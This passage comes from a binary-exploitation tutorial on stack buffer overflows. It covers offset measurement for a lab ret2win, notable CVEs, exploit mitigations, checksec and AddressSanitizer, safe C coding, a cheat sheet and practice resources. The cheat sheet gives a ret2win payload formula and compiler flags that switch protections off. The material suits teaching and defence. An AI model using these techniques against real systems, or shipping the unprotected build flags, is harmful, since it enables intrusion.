   0x401218 <+24>:  call   0x401060 <gets> <- the vulnerable call
   ...
   0x40124a <+74>:  leave
   0x40124b <+75>:  ret                     <- pops our overwritten return addr into rip

buffer at rbp-0x40 (64 bytes) + 8 bytes of saved RBP = 72 bytes before the slot that ret consumes. The debugger, the cyclic pattern, and the disassembly all agree. That triangulation — crash, measure, read the assembly, confirm — is exactly the workflow of real vulnerability triage.

Part 11: Real-World Application — This Bug Class in Production Software

The toy above is not a toy phenomenon. The same primitive, dressed in more complexity, is behind some of the most consequential vulnerabilities in computing history:

• The Morris Worm (1988) propagated partly through a stack buffer overflow in the fingerd daemon’s use of gets() — the exact function in our lab. It’s the canonical first internet worm.
• CVE-2014-0160 “Heartbleed” was an over-read (not a stack smash) in OpenSSL: a missing length check let an attacker request more bytes than a buffer held, leaking adjacent heap memory — private keys, session cookies. It’s the poster child for “C doesn’t check your lengths.”
• CVE-2017-0144 “EternalBlue” was a memory-corruption bug in Windows SMBv1 (a buffer mis-sizing) weaponized into remote code execution and used by WannaCry and NotPetya. Nation-state impact from a length-handling mistake in C.
• CVE-2021-3156 “Baron Samedit” was a heap buffer overflow in sudo reachable by any local user, giving root — ten years latent in code, in one of the most audited setuid binaries on Linux.
• Countless IoT/router CVEs every year are stack overflows in C daemons parsing network input with strcpy/sprintf and no bounds check — the low end of the same spectrum, and a rich bug-bounty and CTF vein.

The through-line: a C program trusted a length or a terminator it shouldn’t have, wrote past a buffer, and corrupted memory the way our vuln did. The difference between the lab and a CVE is mitigations and reachability, not mechanism. Which brings us to the defense.

Pentester/researcher landing on a native target: the first pass is always (1) identify the architecture and protections (checksec), (2) grep the disassembly for dangerous sinks (gets, strcpy, sprintf, memcpy, read into a fixed buffer), (3) trace attacker-controlled input to one of those sinks, (4) reproduce a crash, (5) measure the offset, (6) assess which mitigations are in the way. Steps 4–6 are exactly Part 10.

Part 12: Detection & Defense Angle

The lab worked because we compiled every protection off. On a modern system, several mitigations stand between a textbook overflow and code execution. A defender’s job is to understand each one — what it stops, what it doesn’t, and how to enable it — and to use the tooling that finds these bugs before an attacker does. This is the consolidated defensive section for the chapter.

The four core exploit mitigations

flowchart TD
    O["Attacker overflows a stack buffer"] --> C1{"Stack canary present?"}
    C1 -->|"yes"| K["Canary clobbered → __stack_chk_fail → abort<br/>(overflow detected on return)"]
    C1 -->|"no / leaked"| C2{"Return addr reachable & known?"}
    C2 -->|"ASLR randomizes addresses"| L["Attacker must leak an address first"]
    C2 -->|"known (no PIE / leak)"| C3{"Is injected shellcode executable?"}
    C3 -->|"NX/DEP: stack is non-exec"| R["Can't run stack shellcode →<br/>must use ROP / ret2libc"]
    C3 -->|"exec stack (legacy)"| S["Classic shellcode executes"]

Mitigation	What it does	What defeats/limits it	Compiler/OS control
Stack canary (SSP)	random value placed between locals and saved RIP; checked on return; abort if changed	info leak of the canary; non-linear/targeted writes that skip it	-fstack-protector-strong (gcc) — on by default on most distros
NX / DEP (W^X)	stack & heap marked non-executable; code pages non-writable	ROP / ret2libc (reuse existing executable code)	on by default; -z execstack disables (don’t)
ASLR	randomizes stack, heap, libc, (and text if PIE) base addresses each run	info-leak primitive; partial-overwrite; low entropy on 32-bit	kernel: /proc/sys/kernel/randomize_va_space = 2
PIE	makes the executable itself position-independent so .text is randomized too	leak of a code address	-fPIE -pie (gcc) — default on modern distros
RELRO	makes the GOT read-only after startup	partial RELRO leaves GOT writable	-Wl,-z,relro,-z,now (full RELRO)
FORTIFY_SOURCE	compile-time + runtime checks on memcpy/sprintf/etc.	only where sizes are known at compile time	-D_FORTIFY_SOURCE=2 -O2

checksec — reading a binary’s protections in one command

checksec (from the pwntools suite, or the standalone script) inspects an ELF and reports which mitigations are compiled in. It’s the first command in any binary assessment — offensive or defensive:

pip install pwntools           # provides the `pwn checksec` command
pwn checksec vuln

Arch:     amd64-64-little
RELRO:    No RELRO
Stack:    No canary found        <- because we built with -fno-stack-protector
NX:       NX disabled            <- because of -z execstack
PIE:      No PIE (0x400000)      <- because of -no-pie

Compare a hardened build of the same source:

gcc vuln.c -o vuln_hardened -O2 -D_FORTIFY_SOURCE=2 -fstack-protector-strong \
    -fPIE -pie -Wl,-z,relro,-z,now
pwn checksec vuln_hardened

RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      PIE enabled

Same C, radically different attack surface. The ret2win from Part 10 fails against the hardened build: the canary aborts the process on overflow, PIE+ASLR hide win()’s address, and NX blocks stack shellcode. This table is the single most useful defensive takeaway of the chapter — as a blue-teamer or a developer, shipping with the right column is most of the battle.

Finding the bug before shipping — sanitizers and dynamic analysis

You don’t have to wait for a crash in production. Two tools catch memory-corruption bugs during testing:

AddressSanitizer (ASan) — a compiler instrumentation that detects overflows, use-after-free, and more, at the exact moment they happen, with a full stack trace. It’s the modern default for fuzzing and CI:

gcc -g -fsanitize=address vuln.c -o vuln_asan
python3 -c "print('A'*200)" | ./vuln_asan

==12345==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffc...
WRITE of size 201 at 0x7ffc... thread T0
    #0 ... in gets
    #1 ... in vuln vuln.c:13
    #2 ... in main vuln.c:22
Address 0x7ffc... is located in stack of thread T0 at offset 64 in frame
  This frame has 1 object(s):
    [32, 96) 'buffer' <== Memory access at offset 64 overflows this variable

ASan names the exact variable (buffer), the exact source line (vuln.c:13), and that the write overflowed at offset 64 — turning a mysterious segfault into a precise bug report.

Valgrind (memcheck) — runs an un-instrumented binary on a synthetic CPU and flags invalid memory access, leaks, and use of uninitialized values. Slower than ASan and weaker on stack overflows, but needs no recompile:

valgrind --leak-check=full ./someprogram
# ==PID== Invalid write of size 1
# ==PID==   at 0x...: function (file.c:NN)
# ==PID== 40 bytes in 1 blocks are definitely lost   <- a leak

Detection at runtime and in the SOC

• The crash itself is a signal. A daemon segfaulting on attacker input is a classic exploitation-attempt indicator. On Linux, dmesg/journalctl log segfaults with the faulting address: vuln[12345]: segfault at 4141414141414141 ip ... sp .... A faulting address of repeating 0x41/0x90/high-entropy bytes screams overflow attempt.
• Core dumps (/var/crash, coredumpctl) preserve the corrupted stack for post-incident triage — the same GDB workflow from Part 10, applied to a real crash.
• __stack_chk_fail / *** stack smashing detected *** in logs means a canary caught an overflow — treat it as a probable exploitation attempt, not a mere bug.
• EDR / exploit-guard technologies (CFG/CET on Windows, kernel hardened_usercopy, shadow stacks) add control-flow integrity so that even a corrupted return address can’t redirect to an arbitrary target. Modern CPUs ship CET shadow stacks that keep a protected copy of return addresses and fault on mismatch — a hardware answer to exactly the Part 10 attack.

Defensive coding — kill the bug at the source

The cheapest defense is not writing the bug:

// BAD: unbounded, trusts input length
char buf[64];
gets(buf);                       // never — removed from C11
strcpy(buf, attacker_input);     // no size awareness

// GOOD: bounded, size always tied to the buffer
char buf[64];
fgets(buf, sizeof buf, stdin);   // reads at most sizeof(buf)-1, always NUL-terminates
snprintf(buf, sizeof buf, "%s", attacker_input);  // truncates safely

And structurally: prefer memory-safe languages (Rust, Go) for new network-facing parsers; compile C with the hardened flag set above; fuzz with ASan in CI; and treat every memcpy/strcpy whose length is influenced by input as a code-review must-check.

Part 13: Common Mistakes & How to Avoid Them

Mistake	Symptom	Fix
Forgetting the \0 terminator space	strlen reads past the buffer; off-by-one	size buffers as len + 1; use snprintf
Off-by-one in a loop bound (<= vs <)	writes one element past the array	loop for (i=0; i<n; i++); review boundaries
Using sizeof(ptr) instead of the buffer size	sizeof of a pointer is 8, not the array length	keep the size in a variable; sizeof(arr) only works on real arrays in scope
Ignoring malloc returning NULL	NULL deref crash under memory pressure	always check if (!p) ...
Mixing signed/unsigned in length checks	negative length becomes huge size_t	use size_t for sizes; check both bounds
Assuming int is 4 or long is 8 everywhere	portability bug; overflow on other platforms	use <stdint.h> fixed-width types (uint32_t)
Reading /proc/self/maps addresses and hardcoding them	breaks under ASLR	never hardcode; leak at runtime
Testing overflows without ASan	subtle corruption goes unnoticed until prod	compile tests with -fsanitize=address
Wrong endianness in a payload address	exploit “silently fails,” jumps to garbage	write addresses little-endian (p64() / to_bytes(8,'little'))
Debugging an -O2 build and confused by the layout	inlining/reordering hides the frame	learn on -O0 -g; then graduate to optimized builds

Part 14: Final Revision / Summary

• C is portable assembly. A type is just “how many bytes and how to interpret them.” int=4, long/pointer/size_t=8 on x86-64 Linux; confirm with sizeof. Signed↔unsigned confusion and wrong-width assumptions are their own bug classes.
• The compilation pipeline is preprocess → compile → assemble → link. Build flags decide exploitability; a learning build turns protections off (-fno-stack-protector -no-pie -z execstack -g -O0), a shipping build turns them on.
• A pointer is a variable holding an address. & takes an address, * follows one. Pointer arithmetic is scaled by the pointed-to type, and a[i] == *(a+i) — which is exactly why array indexing isn’t bounds-checked.
• Arrays and strings are raw bytes. A C string is a char array ending in \0. gets, strcpy, sprintf, strcat, unbounded scanf("%s") are the overflow-causing sinks — memorize them.
• The process address space runs .text(r-x) / .data / .bss / heap(grows ↑) / mmap+libs / stack(grows ↓). /proc/<pid>/maps shows it live; [stack] is rw- (NX).
• The stack grows down; rsp = top, rbp = frame base. A function call pushes a return address; the prologue (push rbp; mov rbp,rsp; sub rsp,N) builds a frame; the epilogue (leave; ret) tears it down and pops the return address into rip.
• A stack overflow overwrites, in order, the buffer → saved RBP → saved return address. Control the return address and you control execution (ret2win → ret2libc → ROP). Find the offset with a cyclic pattern; write the target address little-endian.
• Mitigations — canary, NX/DEP, ASLR, PIE, RELRO, FORTIFY, CET shadow stacks — each block part of the chain. checksec reads them; ASan/Valgrind find the bugs pre-ship; hardened compiler flags and bounded functions kill them at the source.

Part 15: Cheat Sheet / Quick Reference

Build (learning vs hardened)

# learning / exploitable
gcc -g -O0 -fno-stack-protector -no-pie -z execstack vuln.c -o vuln
# hardened / production
gcc -O2 -D_FORTIFY_SOURCE=2 -fstack-protector-strong -fPIE -pie \
    -Wl,-z,relro,-z,now vuln.c -o app

Inspect the pipeline

gcc -E f.c -o f.i     # preprocess    gcc -S f.c   # -> assembly
gcc -c f.c -o f.o     # assemble      objdump -d f.o   # disassemble

Type sizes (x86-64 Linux): char1 short2 int4 long8 long long8 float4 double8 void*8 size_t8. Endianness: little (LSB first).

Pointers: &x = address-of · *p = dereference · p+1 advances sizeof(*p) bytes · a[i] == *(a+i).

Address-space map (low→high): .text(r-x) → .rodata → .data/.bss → heap↑ → mmap/libs → stack↓. View: cat /proc/<pid>/maps.

Stack frame (after prologue): [buffer] [saved rbp] [saved return addr] at increasing addresses. Overflow offset to RIP = buffer size + 8 (saved rbp).

Dangerous → safe: gets→fgets · strcpy→strlcpy · strcat→strlcat · sprintf→snprintf · scanf("%s")→scanf("%63s").

GDB/GEF essentials

b vuln ; run ; i r ; x/40xg $rsp ; disassemble vuln
pattern create 120 ; pattern offset $rsp ; p win

Defensive triage

pwn checksec ./bin                     # what protections are on?
gcc -fsanitize=address ...             # catch the bug with a stack trace
valgrind --leak-check=full ./bin       # leaks & invalid access, no recompile

Payload math (ret2win): b'A'*offset + p64(target_addr) — address little-endian.

Part 16: Practice Labs & Resources

Work these in order; each trains a piece of this chapter directly:

• pwn.college — “Program Interaction” and “Memory Errors” modules. The best free, structured path from “what is a process” through your first stack overflows, with a grader. Start here.
• PicoCTF — Binary Exploitation category (buffer overflow 0/1/2/3). buffer overflow 0 is a crash-to-win; 1 is ret2win exactly like Part 10; 2/3 add arguments and ASLR. Ideal first CTF challenges for this material.
• PicoCTF — Reverse Engineering (GDB baby steps, assembly challenges) to cement reading disassembly and driving GDB.
• OverTheWire — Narnia. A wargame dedicated to classic C memory-corruption (overflows, format strings, integer bugs) on a real remote host. Narnia0–2 map onto this chapter.
• Nightmare (guyinatuxedo) — “Stack” chapters. A free, deeply worked binary-exploitation course; its early stack-overflow and ret2win writeups mirror the Part 10 lab with real binaries.
• exploit.education — Phoenix (stack-zero … stack-five). Purpose-built vulnerable programs that walk the exact overflow → saved-RBP → return-address progression, with source provided.
• CryptoPals is not this — for memory work stick to the pwn/RE tracks above.
• Reading: Hacking: The Art of Exploitation (Erickson), ch. on the stack; the classic “Smashing The Stack For Fun And Profit” (Aleph One) — dated but foundational; and the LiveOverflow “Binary Exploitation / memory corruption” YouTube playlist for a visual walkthrough.

Suggested drills

1. Rebuild the Part 10 vuln with -fstack-protector-strong and confirm with GDB that the overflow now triggers *** stack smashing detected *** instead of a clean RIP overwrite.
2. Turn ASLR off (echo 0 | sudo tee /proc/sys/kernel/randomize_va_space), then back on (2), and observe how p win / libc base addresses change between runs.
3. Write a 20-line program that reads a length as a signed int and memcpys that many bytes; trigger the integer-signedness bug from Part 3 and catch it with AddressSanitizer.
4. Run pwn checksec on five binaries in /usr/bin and note which mitigations real distro tools ship with by default on a current system.